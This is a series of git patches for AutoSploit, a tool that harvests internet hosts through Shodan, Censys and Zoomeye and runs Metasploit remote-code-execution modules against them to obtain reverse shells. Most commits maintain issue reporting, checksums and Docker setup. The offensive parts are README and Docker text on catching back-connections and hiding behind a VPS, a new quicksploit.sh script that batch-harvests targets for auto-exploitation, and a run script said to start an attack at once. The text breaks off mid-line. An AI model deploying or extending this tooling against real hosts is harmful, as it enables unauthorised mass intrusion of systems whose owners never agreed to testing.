[Khast3x](https://github.com/khast3x) recently improved Docker operations as well as add more details to the README.md in the `Docker` subdirectory. For more information on deploying AutoSploit with Docker please be sure to click [here](https://github.com/NullArray/AutoSploit/tree/master/Docker) From 6256707321f0debce65f3e4f2a372fc687c16561 Mon Sep 17 00:00:00 2001 From: NullArray Date: Tue, 16 Apr 2019 23:46:19 +0000 Subject: [PATCH 44/77] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index accd36b..e059711 100644 --- a/README.md +++ b/README.md @@ -2,6 +2,7 @@
As the name might suggest AutoSploit attempts to automate the exploitation of remote hosts. Targets can be collected automatically through Shodan, Censys or Zoomeye. But options to add your custom targets and host lists have been included as well. The available Metasploit modules have been selected to facilitate Remote Code Execution and to attempt to gain Reverse TCP Shells and/or Meterpreter sessions. Workspace, local host and local port for MSF facilitated back connections are configured by filling out the dialog that comes up before the exploit component is started + **Operational Security Consideration** Receiving back connections on your local machine might not be the best idea from an OPSEC standpoint. Instead consider running this tool from a VPS that has all the dependencies required, available. From 1b0a575fbdc28602d5d842dcce42eacb7b5a3cae Mon Sep 17 00:00:00 2001 From: NullArray Date: Tue, 16 Apr 2019 23:47:26 +0000 Subject: [PATCH 45/77] Update README.md --- README.md | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/README.md b/README.md index e059711..412dd33 100644 --- a/README.md +++ b/README.md @@ -2,9 +2,7 @@
As the name might suggest AutoSploit attempts to automate the exploitation of remote hosts. Targets can be collected automatically through Shodan, Censys or Zoomeye. But options to add your custom targets and host lists have been included as well. The available Metasploit modules have been selected to facilitate Remote Code Execution and to attempt to gain Reverse TCP Shells and/or Meterpreter sessions. Workspace, local host and local port for MSF facilitated back connections are configured by filling out the dialog that comes up before the exploit component is started - -**Operational Security Consideration** - +_Operational Security Consideration:_ Receiving back connections on your local machine might not be the best idea from an OPSEC standpoint. Instead consider running this tool from a VPS that has all the dependencies required, available. The new version of AutoSploit has a feature that allows you to set a proxy before you connect and a custom user-agent. From e2e75db2cc6a8b6c58859af594c1f6f989b71ab5 Mon Sep 17 00:00:00 2001 From: NullArray Date: Tue, 16 Apr 2019 23:47:53 +0000 Subject: [PATCH 46/77] Update README.md --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 412dd33..7022a0c 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,10 @@
As the name might suggest AutoSploit attempts to automate the exploitation of remote hosts. Targets can be collected automatically through Shodan, Censys or Zoomeye. But options to add your custom targets and host lists have been included as well. The available Metasploit modules have been selected to facilitate Remote Code Execution and to attempt to gain Reverse TCP Shells and/or Meterpreter sessions. Workspace, local host and local port for MSF facilitated back connections are configured by filling out the dialog that comes up before the exploit component is started + _Operational Security Consideration:_ + + Receiving back connections on your local machine might not be the best idea from an OPSEC standpoint. Instead consider running this tool from a VPS that has all the dependencies required, available. The new version of AutoSploit has a feature that allows you to set a proxy before you connect and a custom user-agent. From ba72dd045c0285742e0adc7222c9172a3c90b506 Mon Sep 17 00:00:00 2001 From: NullArray Date: Tue, 16 Apr 2019 23:48:23 +0000 Subject: [PATCH 47/77] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 7022a0c..ea1843d 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ As the name might suggest AutoSploit attempts to automate the exploitation of remote hosts. Targets can be collected automatically through Shodan, Censys or Zoomeye. But options to add your custom targets and host lists have been included as well. The available Metasploit modules have been selected to facilitate Remote Code Execution and to attempt to gain Reverse TCP Shells and/or Meterpreter sessions. Workspace, local host and local port for MSF facilitated back connections are configured by filling out the dialog that comes up before the exploit component is started -_Operational Security Consideration:_ +_**Operational Security Consideration:**_ Receiving back connections on your local machine might not be the best idea from an OPSEC standpoint. Instead consider running this tool from a VPS that has all the dependencies required, available. From 91ae1764b5ca39ae433feab09e00fd0ac9ecee0b Mon Sep 17 00:00:00 2001 From: ekultek Date: Thu, 18 Apr 2019 11:58:13 -0500 Subject: [PATCH 48/77] fixes the issue creation issue where if if you don't have the correct version it will not create an issue, also changes how the identifier is created --- lib/banner.py | 2 +- lib/creation/issue_creator.py | 123 +++++++++++++++++++++------------- lib/exploitation/exploiter.py | 5 +- 3 files changed, 81 insertions(+), 49 deletions(-) diff --git a/lib/banner.py b/lib/banner.py index 950141a..9ff9cb4 100644 --- a/lib/banner.py +++ b/lib/banner.py @@ -1,7 +1,7 @@ import os import random -VERSION = "3.1" +VERSION = "3.1.1" def banner_1(line_sep="#--", space=" " * 30): diff --git a/lib/creation/issue_creator.py b/lib/creation/issue_creator.py index 4b0cb95..290fed3 100644 --- a/lib/creation/issue_creator.py +++ b/lib/creation/issue_creator.py @@ -23,7 +23,26 @@ raw_input = input +def check_version_number(current_version): + """ + check the version number before creating an issue + """ + version_checker = re.compile(r"version.=.\S\d.\d.(\d)?", re.I) + try: + req = requests.get("https://raw.githubusercontent.com/NullArray/AutoSploit/master/lib/banner.py") + available_version = version_checker.search(req.content).group().split("=")[-1].split('"')[1] + if available_version != current_version: + return False + return True + except Exception as e: + print e + return True + + def create_identifier(data): + """ + create the exception identifier + """ obj = hashlib.sha1() try: obj.update(data) @@ -83,7 +102,7 @@ def find_url(params): split_information = str(html).split("\n") for i, line in enumerate(split_information): if searcher.search(line) is not None: - href = split_information[i - 1] + href = split_information[i] if href is not None: soup = BeautifulSoup(href, "html.parser") for item in soup.findAll("a"): @@ -93,6 +112,9 @@ def find_url(params): def hide_sensitive(): + """ + hide sensitive information from the terminal + """ sensitive = ( "--proxy", "-P", "--personal-agent", "-q", "--query", "-C", "--config", "--whitelist", "--msf-path" @@ -100,6 +122,7 @@ def hide_sensitive(): args = sys.argv for item in sys.argv: if item in sensitive: + # TODO:/ we need to block the IP addresses in the -C argument try: item_index = args.index(item) + 1 hidden = ''.join([x.replace(x, "*") for x in str(args[item_index])]) @@ -119,56 +142,66 @@ def request_issue_creation(path, arguments, error_message): "do you want to create an anonymized issue?[y/N]: " ) if question.lower().startswith("y"): - # gonna read a chunk of it instead of one line - chunk = 4096 - with open(path) as data: - identifier = create_identifier(data.read(chunk)) - # gotta seek to the beginning of the file since it's already been read `4096` into it - data.seek(0) - issue_title = "Unhandled Exception ({})".format(identifier) - - issue_data = { - "title": issue_title, - "body": ( - "Autosploit version: `{}`\n" - "OS information: `{}`\n" - "Running context: `{}`\n" - "Error meesage: `{}`\n" - "Error traceback:\n```\n{}\n```\n" - "Metasploit launched: `{}`\n".format( - lib.banner.VERSION, - platform.platform(), - ' '.join(sys.argv), - error_message, - open(path).read(), - lib.settings.MSF_LAUNCHED, + if check_version_number(lib.banner.VERSION): + # gonna read a chunk of it instead of one line + chunk = 4096 + with open(path) as data: + identifier = create_identifier(error_message) + # gotta seek to the beginning of the file since it's already been read `4096` into it + data.seek(0) + issue_title = "Unhandled Exception ({})".format(identifier) + + issue_data = { + "title": issue_title, + "body": ( + "Autosploit version: `{}`\n" + "OS information: `{}`\n" + "Running context: `{}`\n" + "Error mesage: `{}`\n" + "Error traceback:\n```\n{}\n```\n" + "Metasploit launched: `{}`\n".format( + lib.banner.VERSION, + platform.platform(), + ' '.join(sys.argv), + error_message, + open(path).read(), + lib.settings.MSF_LAUNCHED, + ) ) - ) - } + } - _json_data = json.dumps(issue_data) - if sys.version_info > (3,): # python 3 - _json_data = _json_data.encode("utf-8") + _json_data = json.dumps(issue_data) + if sys.version_info > (3,): # python 3 + _json_data = _json_data.encode("utf-8") - if not ensure_no_issue(identifier): - req = Request( - url="https://api.github.com/repos/nullarray/autosploit/issues", data=_json_data, - headers={"Authorization": "token {}".format(get_token(lib.settings.TOKEN_PATH))} - ) - urlopen(req, timeout=10).read() - lib.output.info( - "issue has been generated with the title '{}', at the following " - "URL '{}'".format( - issue_title, find_url(identifier) + if not ensure_no_issue(identifier): + req = Request( + url="https://api.github.com/repos/nullarray/autosploit/issues", data=_json_data, + headers={"Authorization": "token {}".format(get_token(lib.settings.TOKEN_PATH))} ) - ) + urlopen(req, timeout=10).read() + lib.output.info( + "issue has been generated with the title '{}', at the following " + "URL '{}'".format( + issue_title, find_url(identifier) + ) + ) + else: + lib.output.error( + "someone has already created this issue here: {}".format(find_url(identifier)) + ) + try: + os.remove(path) + except: + pass else: + sep = "-" * 35 lib.output.error( - "someone has already created this issue here: {}".format(find_url(identifier)) + "it appears you are not using the current version of AutoSploit please update to the newest version " + "and try again, this can also happen when a new update has been pushed and the cached raw page has " + "not been updated yet. If you feel this is the later please create and issue on AutoSploits Github " + "page with the following info:" ) - try: - os.remove(path) - except: - pass + print("{}\n{}\n{}".format(sep, open(path).read(), sep)) else: lib.output.info("the issue has been logged to a file in path: '{}'".format(path)) \ No newline at end of file diff --git a/lib/exploitation/exploiter.py b/lib/exploitation/exploiter.py index 98630f5..b8a8786 100644 --- a/lib/exploitation/exploiter.py +++ b/lib/exploitation/exploiter.py @@ -78,8 +78,6 @@ def start_exploit(self, sep="*" * 10): if self.dry_run: lib.settings.close("dry run was initiated, exploitation will not be done") - lib.settings.MSF_LAUNCHED = True - today_printable = datetime.datetime.today().strftime("%Y-%m-%d_%Hh%Mm%Ss") current_run_path = path.join(lib.settings.RC_SCRIPTS_PATH, today_printable) try: @@ -105,6 +103,7 @@ def start_exploit(self, sep="*" * 10): win_total = 0 fail_total = 0 skip_amount = 0 + lib.settings.MSF_LAUNCHED = True for host in self.hosts: host = host.strip() @@ -113,7 +112,7 @@ def start_exploit(self, sep="*" * 10): honey_score = api_calls.honeyscore_hook.HoneyHook(host, self.shodan_token).make_request() if honey_score >= self.compare_honey: lib.output.warning( - "honeypot score ({}) is above requested, skipping target".format(honey_score) + "honeypot score ({}) is above (or equal to) requested, skipping target".format(honey_score) ) skip = True skip_amount += 1 From 67812fd1d6e5a601eba98ed2e7e1aa47d837aa63 Mon Sep 17 00:00:00 2001 From: Ekultek Date: Thu, 18 Apr 2019 12:24:06 -0500 Subject: [PATCH 49/77] Update README.md UPDATED --- Docker/README.md | 72 ++++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 64 insertions(+), 8 deletions(-) diff --git a/Docker/README.md b/Docker/README.md index d4f6cb1..cb314da 100644 --- a/Docker/README.md +++ b/Docker/README.md @@ -1,19 +1,75 @@ # Docker deployment instructions +## tl;dr -## From Dockerhub +Using [docker-compose](https://docs.docker.com/compose/install/): ```bash -> docker run -it battlecl0ud/autosploit +git clone https://github.com/NullArray/AutoSploit.git +cd Autosploit/Docker +docker-compose run --rm autosploit ``` -*Ideally this is to be replaced by project author's dockerhub account* +Using just Docker: -## Build it yourself +```bash +git clone https://github.com/NullArray/AutoSploit.git +cd Autosploit/Docker +# If you wish to edit default postgres service details, edit database.yml. Should work out of the box +# nano database.yml +docker network create -d bridge haknet +docker run --network haknet --name msfdb -e POSTGRES_PASSWORD=s3cr3t -d postgres +docker build -t autosploit . +docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit +``` + +## Abstract + +- Launching `Autosploit` as a Docker container makes it very easy to use the tool in a hosted cloud environment (AWS, Azure, ...) +- Separate `postgres` database into individual service for data persistence and potential async updating of the database +- Create a small bridge network `haknet` so the service discovery is automatic +- Launch `postgres` and `Autosploit` container, both linked by `haknet` +- Autosploit will automatically launch preconfigured `msfconsole` to the external `postgres` container through `haknet` transparent network +- Total image size of Kali + Metasploit + Autosploit : 1.75GB + +## Deploy + +### Step 1 - Create bridge network + +This will enable the Metasploit Framework to talk to the `postgres` database using its hostname, making it abstract. + +A Tor Socks Proxy can also be added to perform transparent proxy when launching exploits (not for reverse shells though, obviously). + +```bash +docker network create -d bridge haknet +``` + +### Step 2 - Launch services + +All automagically linked + +#### Step 2.1 - Launch postgres + +Launch a vanilla `postgres` service, linked to `haknet` + +```bash +docker run --network haknet --name msfdb -e POSTGRES_PASSWORD=s3cr3t -d postgres +``` + +#### Step 2.2 - Launch Autosploit + +Launch `Autosploit`. + +This Dockerfile will copy the default database config to `~/.msf4/database.yml`. You can edit the configuration file `database.yml` to your liking before building. + +Please be aware that the first build will take some time (~10mn) + +Building will be faster if done on a hosted server as it benefits from the -grade bandwidth ```bash -> git clone https://github.com/NullArray/AutoSploit.git -> cd Autosploit/Docker -> docker build -t autosploit . -> docker run -it autosploit +git clone https://github.com/NullArray/AutoSploit.git +cd Autosploit/Docker +nano database.yml # Exemple configuration should work fine +docker build -t autosploit . +docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit ``` From 104b773e950da21f03397602f4805683919a93bf Mon Sep 17 00:00:00 2001 From: Ekultek Date: Thu, 18 Apr 2019 12:27:30 -0500 Subject: [PATCH 50/77] Update --- lib/creation/issue_creator.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/creation/issue_creator.py b/lib/creation/issue_creator.py index 290fed3..e300fbf 100644 --- a/lib/creation/issue_creator.py +++ b/lib/creation/issue_creator.py @@ -35,7 +35,6 @@ def check_version_number(current_version): return False return True except Exception as e: - print e return True @@ -204,4 +203,4 @@ def request_issue_creation(path, arguments, error_message): ) print("{}\n{}\n{}".format(sep, open(path).read(), sep)) else: - lib.output.info("the issue has been logged to a file in path: '{}'".format(path)) \ No newline at end of file + lib.output.info("the issue has been logged to a file in path: '{}'".format(path)) From 71aa81a11ebeeca2b91118619b68c41de54400a4 Mon Sep 17 00:00:00 2001 From: ekultek Date: Fri, 19 Apr 2019 12:42:02 -0500 Subject: [PATCH 51/77] verifies program checksums before you can create an issue --- etc/text_files/checksum_link.txt | 1 + lib/creation/issue_creator.py | 58 +++++++++++++++++++++++++++++++- lib/settings.py | 3 ++ 3 files changed, 61 insertions(+), 1 deletion(-) create mode 100644 etc/text_files/checksum_link.txt diff --git a/etc/text_files/checksum_link.txt b/etc/text_files/checksum_link.txt new file mode 100644 index 0000000..a1ffcf4 --- /dev/null +++ b/etc/text_files/checksum_link.txt @@ -0,0 +1 @@ +https://gist.githubusercontent.com/Ekultek/cdf0d417ab5f023e99b89c1a4c7c3be8/raw/f91496698d4218565cba01b2d1c620efe80e6095/checksums.md5 \ No newline at end of file diff --git a/lib/creation/issue_creator.py b/lib/creation/issue_creator.py index e300fbf..afaeae7 100644 --- a/lib/creation/issue_creator.py +++ b/lib/creation/issue_creator.py @@ -23,6 +23,54 @@ raw_input = input +def checksum(issue_template_path): + """ + verifies the checksums of the program before you can create an issue + """ + + file_skips = [ + "__init__", ".pyc", ".xml", + ".sample", "HEAD", "pack", + "dev-beta", "description", "config", + "exclude", "index", ".json", + ".gitignore", "LICENSE", "ISSUE_TEMPLATE", + "README", "CONTRIBUTING", "hosts.txt", + "requirements.txt", "checksum_link.txt", + ".key", ".id", ".csv" + ] + current_checksums = [] + failed_checks = 0 + for root, sub, files in os.walk(lib.settings.CUR_DIR): + for name in files: + if not any(c in name for c in file_skips): + path = os.path.join(root, name) + check = hashlib.md5() + check.update(open(path).read()) + check = check.hexdigest() + current_checksums.append("{}:{}".format(path.split("/")[-1], check)) + print "\n".join(current_checksums);exit(1) + try: + req = requests.get(lib.settings.CHECKSUM_LINK) + real_checksums = str(req.text).split("\n") + for real, current in zip(sorted(real_checksums), sorted(current_checksums)): + if real != current: + failed_checks += 1 + if failed_checks > 0: + return False + return True + except Exception: + sep = "-" * 35 + lib.output.error( + "something went wrong while verifying the checksums of the current application, " + "this could be due to your internet connectivity. Please either try again, or use " + "the following template to create an issue:" + ) + print("{}\n{}\n{}".format( + sep, open(issue_template_path).read(), sep + )) + return False + + def check_version_number(current_version): """ check the version number before creating an issue @@ -34,7 +82,7 @@ def check_version_number(current_version): if available_version != current_version: return False return True - except Exception as e: + except Exception: return True @@ -137,6 +185,14 @@ def request_issue_creation(path, arguments, error_message): request the creation and create the issue """ + if not checksum(path): + lib.output.error( + "it seems you have changed some of the code in the program. We do not accept issues from edited " + "code as we have no way of reliability testing your issue. We recommend that you only use the version " + "that is available on github, no issue will be created for this problem, DO NOT REPORT IT" + ) + exit(1) + question = raw_input( "do you want to create an anonymized issue?[y/N]: " ) diff --git a/lib/settings.py b/lib/settings.py index 91aba28..527807f 100644 --- a/lib/settings.py +++ b/lib/settings.py @@ -70,6 +70,9 @@ def complete_text(self, text, state): # autosploit command history file path HISTORY_FILE_PATH = "{}/.history".format(HOME) +# link to the checksums +CHECKSUM_LINK = open("{}/etc/text_files/checksum_link.txt".format(CUR_DIR)).read() + # path to the file containing all the discovered hosts HOST_FILE = "{}/hosts.txt".format(CUR_DIR) try: From 3de4a9e86d4fefbecc571fb1ce5e70101c395553 Mon Sep 17 00:00:00 2001 From: ekultek Date: Fri, 19 Apr 2019 12:43:20 -0500 Subject: [PATCH 52/77] minor fix --- lib/creation/issue_creator.py | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/creation/issue_creator.py b/lib/creation/issue_creator.py index afaeae7..0930dd0 100644 --- a/lib/creation/issue_creator.py +++ b/lib/creation/issue_creator.py @@ -48,7 +48,6 @@ def checksum(issue_template_path): check.update(open(path).read()) check = check.hexdigest() current_checksums.append("{}:{}".format(path.split("/")[-1], check)) - print "\n".join(current_checksums);exit(1) try: req = requests.get(lib.settings.CHECKSUM_LINK) real_checksums = str(req.text).split("\n") From b38bb89b2b40a24837ca0cd2c140cdd839f72384 Mon Sep 17 00:00:00 2001 From: ekultek Date: Fri, 19 Apr 2019 12:44:00 -0500 Subject: [PATCH 53/77] it's not fair to put connection issues in the same cat as douches --- lib/creation/issue_creator.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/creation/issue_creator.py b/lib/creation/issue_creator.py index 0930dd0..2555af3 100644 --- a/lib/creation/issue_creator.py +++ b/lib/creation/issue_creator.py @@ -67,7 +67,7 @@ def checksum(issue_template_path): print("{}\n{}\n{}".format( sep, open(issue_template_path).read(), sep )) - return False + exit(1) def check_version_number(current_version): From 7e586e64cafe92a1f740fef6bf08792ea99dd4f8 Mon Sep 17 00:00:00 2001 From: NullArray Date: Sun, 21 Apr 2019 00:05:30 +0000 Subject: [PATCH 54/77] Update issue_creator.py --- lib/creation/issue_creator.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/creation/issue_creator.py b/lib/creation/issue_creator.py index 2555af3..5c53dbf 100644 --- a/lib/creation/issue_creator.py +++ b/lib/creation/issue_creator.py @@ -186,9 +186,9 @@ def request_issue_creation(path, arguments, error_message): if not checksum(path): lib.output.error( - "it seems you have changed some of the code in the program. We do not accept issues from edited " - "code as we have no way of reliability testing your issue. We recommend that you only use the version " - "that is available on github, no issue will be created for this problem, DO NOT REPORT IT" + "It seems you have changed some of the code in the program. We do not accept issues from edited " + "code as we have no way of reliably testing your issue. We recommend that you only use the version " + "that is available on github, no issue will be created for this problem." ) exit(1) From 527e418da1978d7793e44b99f1885dad4977a79d Mon Sep 17 00:00:00 2001 From: ekultek Date: Mon, 22 Apr 2019 15:52:10 -0500 Subject: [PATCH 55/77] removes checksum checking for a 'second chance' if you will, fixes the NoneType error issue, bumps the version number --- lib/banner.py | 2 +- lib/creation/issue_creator.py | 15 ++++++++------- lib/term/terminal.py | 12 ++++++------ 3 files changed, 15 insertions(+), 14 deletions(-) diff --git a/lib/banner.py b/lib/banner.py index 9ff9cb4..808fea0 100644 --- a/lib/banner.py +++ b/lib/banner.py @@ -1,7 +1,7 @@ import os import random -VERSION = "3.1.1" +VERSION = "3.1.2" def banner_1(line_sep="#--", space=" " * 30): diff --git a/lib/creation/issue_creator.py b/lib/creation/issue_creator.py index 5c53dbf..092b4a2 100644 --- a/lib/creation/issue_creator.py +++ b/lib/creation/issue_creator.py @@ -184,13 +184,14 @@ def request_issue_creation(path, arguments, error_message): request the creation and create the issue """ - if not checksum(path): - lib.output.error( - "It seems you have changed some of the code in the program. We do not accept issues from edited " - "code as we have no way of reliably testing your issue. We recommend that you only use the version " - "that is available on github, no issue will be created for this problem." - ) - exit(1) + # TODO:/ we're gonna go ahead and give you guys another chance + #if not checksum(path): + # lib.output.error( + # "It seems you have changed some of the code in the program. We do not accept issues from edited " + # "code as we have no way of reliably testing your issue. We recommend that you only use the version " + # "that is available on github, no issue will be created for this problem." + # ) + # exit(1) question = raw_input( "do you want to create an anonymized issue?[y/N]: " diff --git a/lib/term/terminal.py b/lib/term/terminal.py index 9142af3..2d7081c 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -491,11 +491,11 @@ def terminal_main_display(self, tokens, extra_commands=None, save_history=True): print(self.do_exploit_targets.__doc__) except TypeError: pass - if len(choice_data_list) < 4: + if choice_data_list is None or len(choice_data_list) < 4: lib.output.error( "must provide at least LHOST, LPORT, workspace name with `{}` keyword " "(IE {} 127.0.0.1 9076 default [whitelist-path] [honeycheck])".format( - choice, choice + choice.strip(), choice.strip() ) ) else: @@ -547,11 +547,11 @@ def terminal_main_display(self, tokens, extra_commands=None, save_history=True): print(self.do_load_custom_hosts.__doc__) except TypeError: pass - if len(choice_data_list) < 3: + if choice_data_list is None or len(choice_data_list) < 3: lib.output.error( "must provide a list of API names after `{}` keyword and query " "(IE {} shodan,censys apache2)".format( - choice, choice + choice.strip(), choice.strip() ) ) else: @@ -578,11 +578,11 @@ def terminal_main_display(self, tokens, extra_commands=None, save_history=True): except TypeError: pass - if len(choice_data_list) < 3: + if choice_data_list is None or len(choice_data_list) < 3: lib.output.error( "must supply API name with `{}` keyword along with " "new token (IE {} shodan mytoken123 [userID (censys)])".format( - choice, choice + choice.strip(), choice.strip() ) ) else: From aea40a702d4d25678ccd161528319154bac6ca41 Mon Sep 17 00:00:00 2001 From: ekultek Date: Tue, 30 Apr 2019 11:41:55 -0500 Subject: [PATCH 56/77] creates a way to clean duplicate IP's out of the hosts file from the terminal --- api_calls/honeyscore_hook.py | 1 - lib/banner.py | 2 +- lib/settings.py | 1 + lib/term/terminal.py | 23 +++++++++++++++++++++++ 4 files changed, 25 insertions(+), 2 deletions(-) diff --git a/api_calls/honeyscore_hook.py b/api_calls/honeyscore_hook.py index 93f7917..cc773c8 100644 --- a/api_calls/honeyscore_hook.py +++ b/api_calls/honeyscore_hook.py @@ -1,5 +1,4 @@ import requests -from bs4 import BeautifulSoup class HoneyHook(object): diff --git a/lib/banner.py b/lib/banner.py index 808fea0..26f355a 100644 --- a/lib/banner.py +++ b/lib/banner.py @@ -1,7 +1,7 @@ import os import random -VERSION = "3.1.2" +VERSION = "3.1.3" def banner_1(line_sep="#--", space=" " * 30): diff --git a/lib/settings.py b/lib/settings.py index 527807f..4eec7c6 100644 --- a/lib/settings.py +++ b/lib/settings.py @@ -55,6 +55,7 @@ def complete_text(self, text, state): tokens/reset Reset API tokens if needed external View loaded external commands ver[sion] View the current version of the program +clean/clear Clean the hosts.txt file of duplicate IP addresses help/? Display this help """ diff --git a/lib/term/terminal.py b/lib/term/terminal.py index 2d7081c..534469b 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -45,6 +45,8 @@ class object for the main terminal of the program "reset", "tokens", # show the version number "ver", "version", + # clean the hosts file of duplicate IP's + "clean", "clear", # easter eggs! "idkwhatimdoing", "ethics", "skid" ] @@ -148,6 +150,25 @@ def do_terminal_command(self, command): """ lib.settings.cmdline(command, is_msf=False) + def do_clean_hosts(self): + """ + Clean the hosts.txt file of any duplicate IP addresses + """ + retval = set() + current_size = len(self.loaded_hosts) + for host in self.loaded_hosts: + retval.add(host) + cleaned_size = len(retval) + with open(lib.settings.HOST_FILE, 'w') as hosts: + for item in list(retval): + hosts.write(item) + if current_size != cleaned_size: + lib.output.info("cleaned {} duplicate IP address(es) (total of {})".format( + current_size - cleaned_size, cleaned_size + ) + ) + self.__reload() + def do_token_reset(self, api, token, username): """ Explanation: @@ -475,6 +496,8 @@ def terminal_main_display(self, tokens, extra_commands=None, save_history=True): self.do_view_gathered() elif any(c in choice for c in ("ver", "version")): self.do_show_version_number() + elif any(c in choice for c in ("clean", "clear")): + self.do_clean_hosts() elif "single" in choice: try: if "help" in choice_data_list: From 482d395c4aabf7aa2a396f7d73b89a9496db709f Mon Sep 17 00:00:00 2001 From: ekultek Date: Tue, 30 Apr 2019 12:19:59 -0500 Subject: [PATCH 57/77] creating a way to quickly search multiple queries using a bash script --- dryrun_autosploit.sh => drysploit.sh | 6 +++++- lib/cmdline/cmd.py | 2 +- quicksploit.sh | 30 ++++++++++++++++++++++++++++ run_autosploit.sh => runsploit.sh | 8 +++++++- 4 files changed, 43 insertions(+), 3 deletions(-) rename dryrun_autosploit.sh => drysploit.sh (89%) create mode 100755 quicksploit.sh rename run_autosploit.sh => runsploit.sh (72%) diff --git a/dryrun_autosploit.sh b/drysploit.sh similarity index 89% rename from dryrun_autosploit.sh rename to drysploit.sh index 1089632..9a8855a 100644 --- a/dryrun_autosploit.sh +++ b/drysploit.sh @@ -1,9 +1,13 @@ #!/usr/bin/env bash +# +# this script dryruns autosploit. That's it, nothing special just a dry run +# + if [[ $# -lt 1 ]]; then echo "Syntax:" - echo -e "\t./dryrun_autosploit.sh [whitelist]" + echo -e "\t./drysploit.sh [whitelist]" exit 1 fi diff --git a/lib/cmdline/cmd.py b/lib/cmdline/cmd.py index 493f3de..2dc3e56 100644 --- a/lib/cmdline/cmd.py +++ b/lib/cmdline/cmd.py @@ -79,7 +79,7 @@ def optparser(): misc.add_argument("--ethics", action="store_true", dest="displayEthics", help=argparse.SUPPRESS) # easter egg! misc.add_argument("--whitelist", metavar="PATH", dest="whitelist", - help="only exploit hosts listed in the whitelist file") + help="only exploit hosts listed in the whitelist file") misc.add_argument("-D", "--download", nargs="+", metavar="SEARCH1 SEARCH2 ...", dest="downloadModules", help="download new exploit modules with a provided search flag") opts = parser.parse_args() diff --git a/quicksploit.sh b/quicksploit.sh new file mode 100755 index 0000000..ecad084 --- /dev/null +++ b/quicksploit.sh @@ -0,0 +1,30 @@ +#!/bin/bash + +# +# this script quickly runs a query list of search keywords provided from a file on ALL of the +# available APIs. (Censys, Zoomeye, and Shodan) from there it will save all of them to the hosts.txt +# file and you can do as you will with that +# + +function doQuick() { + for item in $(cat $1); do python autosploit.py -A -a -f etc/json/default_modules.json -q $item; done +} + +function helpPage() { + echo "./quicksploit.sh FILENAME"; + exit 1; +} + +function main() { + if [[ $EUID -ne 0 ]]; then + echo "[!] must run script as root!"; + exit 1; + elif [[ ! -f $1 ]]; then + helpPage; + else + echo "[+] starting quicksploit searching!"; + doQuick $1; + fi +} + +main $@; \ No newline at end of file diff --git a/run_autosploit.sh b/runsploit.sh similarity index 72% rename from run_autosploit.sh rename to runsploit.sh index 9dfcdaf..df4c026 100755 --- a/run_autosploit.sh +++ b/runsploit.sh @@ -1,9 +1,15 @@ #!/bin/bash +# +# this script runs autosploit with default configs and default modules +# protip be on a VPS when you run this because it's gonna start an attack +# right away +# + if [[ $# -lt 1 ]]; then echo "Syntax:" - echo -e "\t./run_autosploit.sh PORT [WHITELIST]" + echo -e "\t./runsploit.sh PORT [WHITELIST]" exit 1 fi From 66a45236bfcd850a9ab92e121c9a3db7e35ba8c9 Mon Sep 17 00:00:00 2001 From: ekultek Date: Tue, 7 May 2019 08:37:37 -0500 Subject: [PATCH 58/77] adding a funny quote i found --- etc/text_files/ethics.lst | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/etc/text_files/ethics.lst b/etc/text_files/ethics.lst index fcdf3ca..6fdd371 100644 --- a/etc/text_files/ethics.lst +++ b/etc/text_files/ethics.lst @@ -11,4 +11,5 @@ "My fear is that this has magnified the attack surface, and made it so that every exposed service on the internet will be scanned and probed on a near-constant basis by an entirely new set of attackers." "The release of tools like these exponentially expands the threat landscape by allowing a wider group of hackers to launch global attacks at will" "Good to know we’ve weaponized for the masses. Everyone can now be a script kiddie simply by plugging, playing and attacking." -"The fact that something is really easy, does not make unauthorized computer access any less a crime. And tools like this leave a forensic footprint that is miles wide. Yes, you can compromise poorly protected systems very easily with this tool, but you can also end up in a lot of trouble." \ No newline at end of file +"The fact that something is really easy, does not make unauthorized computer access any less a crime. And tools like this leave a forensic footprint that is miles wide. Yes, you can compromise poorly protected systems very easily with this tool, but you can also end up in a lot of trouble." +"I can't believe it's not skidware!" \ No newline at end of file From 4b4495fdcf0d9a7b246387b395341b000ffcad7b Mon Sep 17 00:00:00 2001 From: Ekultek Date: Wed, 8 May 2019 10:42:00 -0500 Subject: [PATCH 59/77] Update default_fuzzers.json --- etc/json/default_fuzzers.json | 1 - 1 file changed, 1 deletion(-) diff --git a/etc/json/default_fuzzers.json b/etc/json/default_fuzzers.json index b606973..5eb3b82 100644 --- a/etc/json/default_fuzzers.json +++ b/etc/json/default_fuzzers.json @@ -1,6 +1,5 @@ { "exploits": [ - "auxiliary/fuzzers/dns/dns_fuzzer", "auxiliary/fuzzers/ftp/client_ftp", "auxiliary/fuzzers/ftp/ftp_pre_post", "auxiliary/fuzzers/http/http_form_field", From 14136b421c1166ca3c784b70d94ff88c8c376173 Mon Sep 17 00:00:00 2001 From: ekultek Date: Wed, 8 May 2019 10:50:47 -0500 Subject: [PATCH 60/77] some minor updates --- drysploit.sh | 3 --- install.sh | 2 +- 2 files changed, 1 insertion(+), 4 deletions(-) diff --git a/drysploit.sh b/drysploit.sh index 9a8855a..288a931 100644 --- a/drysploit.sh +++ b/drysploit.sh @@ -11,9 +11,6 @@ if [[ $# -lt 1 ]]; then exit 1 fi -echo -e "[!] Make sure you are not on your localhost while running this script, press enter to continue"; -read - WHITELIST=$2 SEARCH_QUERY=$1 LPORT=4444 diff --git a/install.sh b/install.sh index a92582a..a4ef8a9 100755 --- a/install.sh +++ b/install.sh @@ -88,7 +88,7 @@ function install () { installOSX; ;; *) - echo "Unable to detect operating system that is compatible with AutoSploit..."; + 